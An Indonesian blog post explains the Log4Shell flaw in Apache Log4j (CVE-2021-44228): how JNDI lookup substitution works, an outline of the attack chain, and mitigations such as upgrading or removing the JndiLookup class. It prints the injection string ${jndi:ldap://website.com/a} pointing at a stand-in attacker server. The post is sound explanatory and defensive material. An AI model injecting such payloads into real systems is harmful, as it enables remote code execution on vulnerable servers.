Akhir akhir ini memang banyak berita tentang penemuan kerentanan kritikal CVE-2021-44228 di library Apache Log4j (tingkat keparahan CVSS 10 dari 10). Jutaan aplikasi Java menggunakan library ini untuk mencatat pesan kesalahan termasuk Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, Minecraft dan banyak lagi.
 |
| Orang marah marah :v |
Lebih buruk lagi, penyerang sudah secara aktif mengeksploitasi kerentanan ini. Untuk alasan ini, Apache Foundation menyarankan semua pengembang untuk memperbarui library ke versi 2.15.0, dan jika ini tidak memungkinkan, gunakan salah satu metode yang dijelaskan di halaman Kerentanan Keamanan Apache Log4j.
Bahaya CVE-2021-44228
CVE-2021-44228, juga bernama Log4Shell atau LogJam, adalah kerentanan kelas Remote Code Execution (RCE). Jika penyerang berhasil mengeksploitasinya di salah satu server, mereka mendapatkan kemampuan untuk mengeksekusi kode arbitrer dan berpotensi mengambil kendali penuh dari sistem.
Bahkan heker yang tidak berpengalaman pun dapat berhasil mengeksekusi serangan menggunakan kerentanan ini. Dimana penyerang hanya perlu memaksa aplikasi untuk menulis hanya satu string ke log, dan setelah itu mereka dapat mengunggah kode mereka sendiri ke dalam aplikasi karena fungsi message lookup substitution.
Cara kerja Log4j
Seperti halnya banyak logger, Log4j juga melakukan beberapa operasi dasar
untuk membuat output lebih mudah dipahami bagi kita manusia biasa. Salah satu
operasi ini adalah substitusi variabel , yang mencari pola seperti
${something}, dan menggantinya dengan informasi lain.
Kerentanan ini terletak pada penggantian string ${jndi: Pola ini memicu
Java Naming and Directory Interface, yang dapat memuat sumber daya Java
dari komputer lain, di mana saja di Internet.
Sayangnya, banyak aplikasi mencatat data yang berasal dari penggunanya tanpa terlebih dahulu membersihkannya, dan penyerang dapat menyelinapkan pola substitusi variabel ke dalam log dengan memasukkannya ke dalam hal-hal seperti header HTTP, atau bidang input.
${jndi:ldap://website.com/a}
Saat aplikasi rentan mencatat string, itu memicu pencarian ke server LDAP jarak jauh yang dikendalikan penyerang. Respons dari server jahat berisi jalur ke file kelas Java jarak jauh yang dimasukkan ke dalam proses server.
Setelah mengelabui aplikasi yang rentan agar memuat kelas Java mereka, penyerang dapat menggunakannya untuk menjalankan perintah dengan tingkat hak istimewa yang sama dengan aplikasi yang menggunakan pustaka logging.
PoC (piye om carane)
- Data dari Pengguna dikirim ke server (melalui protokol apa pun)
-
Server mencatat data dalam permintaan, yang berisi muatan berbahaya:
${jndi:ldap://website.com/a}(di mana website.com adalah server yang dikendalikan penyerang) - Kerentanan log4j dipicu oleh payload ini dan server membuat permintaan untuk website.com melalui Java Naming and Directory Interface (JNDI)
- Respons ini berisi jalur ke file kelas Java jarak jauh (mis. http://second-stage.website.com/Exploit.class) yang disuntikkan ke dalam proses server,
- Payload yang disuntikkan ini memicu tahap kedua, dan memungkinkan penyerang untuk mengeksekusi kode arbitrer.
Cara mengatasi Log4j
Hampir semua versi Log4j rentan, mulai dari 2.0-beta9 hingga 2.14.1. Metode perlindungan paling sederhana dan paling efektif adalah menginstal versi library terbaru, 2.15.0. kamu dapat mengunduhnya di halaman proyek.
Jika karena alasan tertentu memperbarui library tidak memungkinkan, Apache Foundation merekomendasikan untuk menggunakan salah satu metode mitigasi. Dalam kasus versi Log4J dari 2.10 hingga 2.14.1, mereka menyarankan pengaturan properti sistem log4j2.formatMsgNoLookups , atau mengatur variabel lingkungan LOG4J_FORMAT_MSG_NO_LOOKUPS ke true.
Untuk melindungi rilis Log4j sebelumnya (dari 2.0-beta9 hingga 2.10.0), pengembang library merekomendasikan untuk menghapus kelas JndiLookup dari classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup .class.
Referensi:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://www.kaspersky.com/blog/log4shell-critical-vulnerability-in-apache-log4j/43124/
https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/
https://logging.apache.org/log4j/2.x/security.html
https://www.lunasec.io/docs/blog/log4j-zero-day/
